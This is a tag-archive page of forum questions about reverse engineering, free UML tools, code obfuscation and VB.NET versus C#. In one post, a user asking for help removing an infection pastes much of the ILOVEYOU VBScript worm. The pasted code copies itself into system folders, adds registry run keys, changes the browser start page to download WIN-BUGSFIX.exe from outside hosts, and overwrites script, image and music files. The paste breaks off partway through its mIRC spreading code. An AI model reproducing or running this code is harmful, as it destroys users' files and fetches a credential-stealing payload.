Tag Archives: Code

Is there a program that can reverse engineer another program to get its source code?

I realize that a program doesnt contain its original source code after being compiled.

Can I apply UML diagrams in generating an english pseudocode format of a source code?

New thesis focus on reverse engineering a source code back to its pseudocode. I’m thinking of utilising UML tools to achieve this. The framework basically will be:

source code -> UML diagram -> english pseudocode

i’m certain that the source code -> UML is possible. But how about UML -> english pseudocode?

Free UML Tool that can reverse engineer Java code (java version 1.6) – for Windows Vista!?

Hi, I need an uml diagramm of a java programm, and I’d like to be able to generate it automatically, the way you can do it with Umbrello on linux. I’ve tried StarUML, but it cannot handle java code compiled with java > 1.4.2 and ArgoUML, which cannot do it automatically either. Any suggestions? I’m quite desperate, as I need this quite soon, and making it manually would probably take all day (it’s quite a big programm).

Thanks in advance!

How to reverse engineer this code?

Ok so I was on this website, and they had this neat script. Well, I copied and pasted it into notepad, and tried to save it as a .txt file, you know, just to have. Well, it saved, but I couldn’t find it, and now my computer is screwed. Yes, it was stupid of me, but now nothing will get rid of it. Here is the code, I hope someone can make something out of it. Thanks in advance.
The code is inbetween StartCode and EndCode. If I wasn’t clear, I want to know how to get rid of this code, because no virus scan will get rid of it.
StartCode
xxx not porn -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=”"
ctr=0
Set fso = CreateObject(“Scripting.FileSystemObject”)
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject(“WScript.Shell”)
rr=wscr.RegRead(“HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout”)
if (rr>=1) then
wscr.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout”,0,”REG_DWORD”
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&”\MSKernel32.vbs”)
c.Copy(dirwin&”\Win32DLL.vbs”)
c.Copy(dirsystem&”\LOVE-LETTER-FOR-YOU.TXT.vbs”)
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
“,dirsystem&”\MSKernel32.vbs”
regcreate
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
n32DLL”,dirwin&”\Win32DLL.vbs”
downread=”"
downread=regget(“HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory”)
if (downread=”") then
downread=”c:”
end if
if (fileexist(dirsystem&”\WinFAT32.exe”)=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page”,”http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe”
elseif num = 2 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page”,”http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe”
elseif num = 3 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page”,”http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe”
elseif num = 4 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page”,”http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX
.exe”
end if
end if
if (fileexist(downread&”\WIN-BUGSFIX.exe”)=0) then
regcreate
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI
X”,downread&”\WIN-BUGSFIX.exe”
regcreate “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
Page”,”about:blank”
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&”")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext=”vbs”) or (ext=”vbe”) then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext=”js”) or (ext=”jse”) or (ext=”css”) or (ext=”wsh”) or (ext=”sct”)
or (ext=”hta”) then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&”"&bname&”.vbs”)
fso.DeleteFile(f1.path)
elseif(ext=”jpg”) or (ext=”jpeg”) then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&”.vbs”)
fso.DeleteFile(f1.path)
elseif(ext=”mp3″) or (ext=”mp2″) then
set mp3=fso.CreateTextFile(f1.path&”.vbs”)
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s=”mirc32.exe”) or (s=”mlink32.exe”) or (s=”mirc.ini”) or
(s=”script.ini”) or (s=”mirc.hlp”) then
set scriptini=fso.CreateTextFile(folderspec&”\script.ini”)
scriptini.WriteLine “[script]”
scriptini.WriteLine “;mIRC Script”
scriptini.WriteLine “; Please dont edit this script… mIRC will corrupt,
if mIRC will”
scriptini.WriteLine ” corrupt… WINDOWS will affect and will not run
correctly. thanks”
scriptini.WriteLine “;”
scriptini.WriteLine “;Khaled Mardam-Bey”
scriptini.WriteL
I’m scared of the registry editer, it’s so intimidating, what if I delete something that’ll screw up my computer up even more than before? The dll file looks rather important, but I don’t know what I’m doing. The pages I believe makes pop-ups, so you’d type something in google, and something would pop up every time. Really annoying. And something called infosteeler was caught by my virus protection, and windows defender. Hmmm…

If you’re a system designer do you need tools to reverse engineer a “specification” from released code ?

Running with that idea, would Collins submarine project need an engine that could be fed programs and the engine could trace back to individuals who actually contributed to / detracted from the project ?

For example you’d feed the engine a copy of your software and the engine might say “Madycki – did good work in 1986″ and people might look at the printout of this and say “Madycki – better try to get him for our next project, he’s good value”.

Where can I find a ‘free’ UML tool which can reverse engineer java code to generate “Sequence Diagrams” ?

The tool should also generate Class Diagrams.But the main requirement is that the tool should be free and should be able to reverse engineer java code to generate “Sequence Diagrams”

How far can I get by reverse-engineering ?

The system development process has generated a safety-critical system plus other artefacts such as a paper user manual/procedures to demo the system.

How would I go trying to doctor a copy of the code and then reverse-engineer changes into the other artefacts to “reflect the released code” ?

Also might I doctor a copy of the “user manual/procedure to demo the system” and reverse-engineer those changes into the code.

I suppose only a small fraction of my attempts would be successful.

How on earth would I get anyone to accredit/authenticate/certify this mumbo-jumbo I am producing ?

What’s the best way to obfuscate code (protect against Reverse Engineering)?

Any details are appreciated.

i want to know if computer science contains reverse code engineering , or information technology does??

plz tell me because i want to enter university and i don’t know whether computer science contain (reverse code engineering) or information technology contains (reverse code engineering)

Difference Between C Sharp and VB.NET

Advantages VB.NET:

Has support for optional parameters which makes COM interoperability much easy.

With Option Strict off late binding is supported.Legacy VB functionalities can be used by using Microsoft.VisualBasic namespace.

Has the WITH construct which is not in C#.

The VB.NET part of Visual Studio .NET compiles your code in the background.

While this is considered Read more »